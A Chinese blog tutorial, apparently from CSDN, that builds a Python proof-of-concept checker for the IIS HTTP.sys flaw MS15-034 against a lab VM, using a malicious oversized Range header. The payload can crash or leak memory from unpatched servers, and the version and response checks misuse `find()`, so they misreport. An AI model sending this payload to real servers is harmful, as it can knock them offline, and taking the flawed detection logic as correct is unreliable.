python编写CVE-2015-1635(MS15-034) POC

HTTP.sys远程代码执行(MS15-034) 。
这个洞是出现在Windows服务器上的,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。IIS版本为7.5或8.0

所以根据这个,用python写一个POC 为编写漏洞扫描器做做基础

做准备

在win7的虚拟机上,开启IIS,域名为192.168.17.130:7070
在这里插入图片描述
物理机上访问成功
在这里插入图片描述

写代码

原理就是使用requests对目标网址发送range的值为’bytes=0-18446744073709551615’的恶意请求包,然后看返回状态码是否为“416”以及“Requested Range Not Satisfiable”

  • 1

首先我们可以调用reqeuests.get(url).headers 查看目标服务器的信息。这个headers可以提取到很多有用信息。

url = "http://192.168.17.130:7070"
response = requests.get(url)
print(response.headers)

运行结果 可以看到版本信息为IIS7.5
在这里插入图片描述

  • 2
    发送请求包,看看响应体
#目标服务器版本是否为IIS7.5或8.0
if server.find("IIS/7.5") or server.find("IIS/8.0"):
    #开始检测
    payload = { 'Range':'bytes=0-18446744073709551615'}
    r = requests.get(url=url,headers=payload)
    print((r.content))

结果
在这里插入图片描述
这就证明了目标服务器存在ms15-034

  • 3
    看整体代码,标了注释,应该都可以看懂 我为了在burp中查看发送的请求包,所以加了代理
import requests

url = "http://192.168.17.130:7070"
response = requests.get(url)
server = response.headers['Server']

#设置代理,在burp上查看python发送出的请求包
proxies = {'http':'http://127.0.0.1:8080'}
#1.1.首先判断服务器是不是架设在windows服务器上的
if server.find("IIS/7.5") or server.find("IIS/8.0"):
    #开始检测
    payload = { 'Range':'bytes=0-18446744073709551615'}
    r = requests.get(url=url,headers=payload,proxies=proxies)
    #2.返回状态码“416”以及“Requested Range Not Satisfiable”证明存在漏洞
    if str(r.content).find("Requested Range Not Satisfiable") :
        if r.status_code == 416:
            print('this server exist ms15-034')
    else:
        print('this server not exist ms15-034')
else:
    print("Server is not IIS/7.5 or IIS/8.0")

运行一次,在burp中查看拦截的请求包
在这里插入图片描述
重放查看响应体
在这里插入图片描述
在这里插入图片描述
放包后
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值